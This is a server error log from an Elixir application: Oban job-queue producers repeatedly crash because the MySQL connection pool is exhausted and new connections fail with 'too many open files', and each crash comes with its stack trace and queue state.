State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:43:08.238949Z], limit: 50, uuid: "9c7797e7-f7ff-4df0-ba2e-56ee1087960d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:08.238958Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.211320>, refresh_timer: #Reference<0.2525715032.1099169794.241813>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:20.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:43:08.240023Z], limit: 5, uuid: "3a4ee6f1-8d0d-4f65-9221-6f782a6ef9a3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:08.240028Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.211319>, refresh_timer: #Reference<0.2525715032.1099169794.241858>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:43:08.240194Z], limit: 10, uuid: "5baef033-430c-48ab-b485-04e4a2497d87", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:08.240199Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.211317>, refresh_timer: #Reference<0.2525715032.1077411843.211301>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:20.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:43:08.239532Z], limit: 3, uuid: "54a42f55-2565-462e-97b7-888a83b98a8d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:08.239537Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.241860>, refresh_timer: #Reference<0.2525715032.1099169794.241841>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:22.945000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:24.053000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:25.692000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:27.790000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:28.374000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:43:20.238857Z], limit: 20, uuid: "bc1563f9-26a5-48e9-ae9e-8f5d79f7d6cd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:20.238866Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.211704>, refresh_timer: #Reference<0.2525715032.1068236804.233443>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:32.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:43:20.240090Z], limit: 5, uuid: "74efa8ac-6c8a-4810-88f2-8fcdef26e8ed", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:20.240096Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.211705>, refresh_timer: #Reference<0.2525715032.1068236804.233437>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:32.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:43:20.242006Z], limit: 3, uuid: "fb346113-e297-4b07-aa6c-94edff7000b7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:20.242011Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.211703>, refresh_timer: #Reference<0.2525715032.1077411843.211694>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:32.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 831ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:43:20.241333Z], limit: 5, uuid: "c72ef28f-72d4-448d-a36c-b18ef0ba5e5d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:20.241339Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.211706>, refresh_timer: #Reference<0.2525715032.1121189889.88178>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:32.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:43:20.241856Z], limit: 10, uuid: "f2f0e465-0b04-47c8-9ee1-4406cc7ec037", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:20.241862Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.211702>, refresh_timer: #Reference<0.2525715032.1077411843.211687>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:32.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
